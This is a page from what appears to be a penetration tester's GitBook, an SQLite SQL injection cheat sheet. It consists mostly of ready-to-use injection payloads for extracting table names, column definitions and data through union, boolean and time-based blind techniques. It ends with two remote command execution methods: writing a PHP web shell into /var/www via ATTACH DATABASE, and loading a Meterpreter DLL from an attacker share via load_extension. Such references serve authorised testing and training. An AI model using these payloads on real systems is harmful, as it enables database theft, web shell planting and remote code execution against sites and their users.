🤖
Guides
  • Introduction
  • Beginners
    • Getting Started
  • Guides
    • SQLi Walkthrough
    • My First BoF
    • OSCP Buffer Overflow Guide (Windows)
    • Parrot OS customisation
    • Terminal Customisation
    • Video Guides
  • Cheat Sheets
    • Reverse Shells
    • Tunnelling, Pivoting and Proxies
    • SQL Injection
      • WAF Bypass
      • SQLMap
      • DBMS Cheatsheets
        • MSSQL
        • MySQL
        • Oracle
        • SQLite
        • PostgreSQL
      • References
    • Bash Cheat Sheets
      • Terminal
      • Find
      • Grep
      • Sed
      • Awk
      • Xargs
      • System
      • Download
      • Networking
      • Hardware
      • Variable
      • Math
      • Data Manipulation
      • Random
      • Time
      • Condition and Loop
      • Other
    • OSINT
    • Ping Sweeps
  • Methodologies
    • VOIP Checklist
    • OWASP v4 Checklist
    • External Inf
    • Internal Infrastructure
  • Linux
    • Checklist - Linux Priv Esc
  • Windows
    • Checklist - Windows Priv Esc
  • Things to do/look at
Powered by GitBook
On this page
  • SQLite comments
  • SQLite version
  • Integer/String based - Extract table name
  • Integer/String based - Extract column name
  • Boolean - Count number of tables
  • Boolean - Enumerating table name
  • Boolean - Extract info
  • Time based
  • Remote Command Execution using SQLite command - Attach Database
  • Remote Command Execution using SQLite command - Load_extension
  • References

Was this helpful?

  1. Cheat Sheets
  2. SQL Injection
  3. DBMS Cheatsheets

SQLite

SQLite comments

--
/**/

SQLite version

select sqlite_version();

Integer/String based - Extract table name

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

Use limit X+1 offset X, to extract all tables.

Integer/String based - Extract column name

SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'

For a clean output

SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

Boolean - Count number of tables

and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table

Boolean - Enumerating table name

and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number

Boolean - Extract info

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

Time based

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

Remote Command Execution using SQLite command - Attach Database

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Remote Command Execution using SQLite command - Load_extension

UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

Note: By default this component is disabled

References

PreviousOracleNextPostgreSQL

Last updated 4 years ago

Was this helpful?

Injecting SQLite database based application - Manish Kishan Tanwar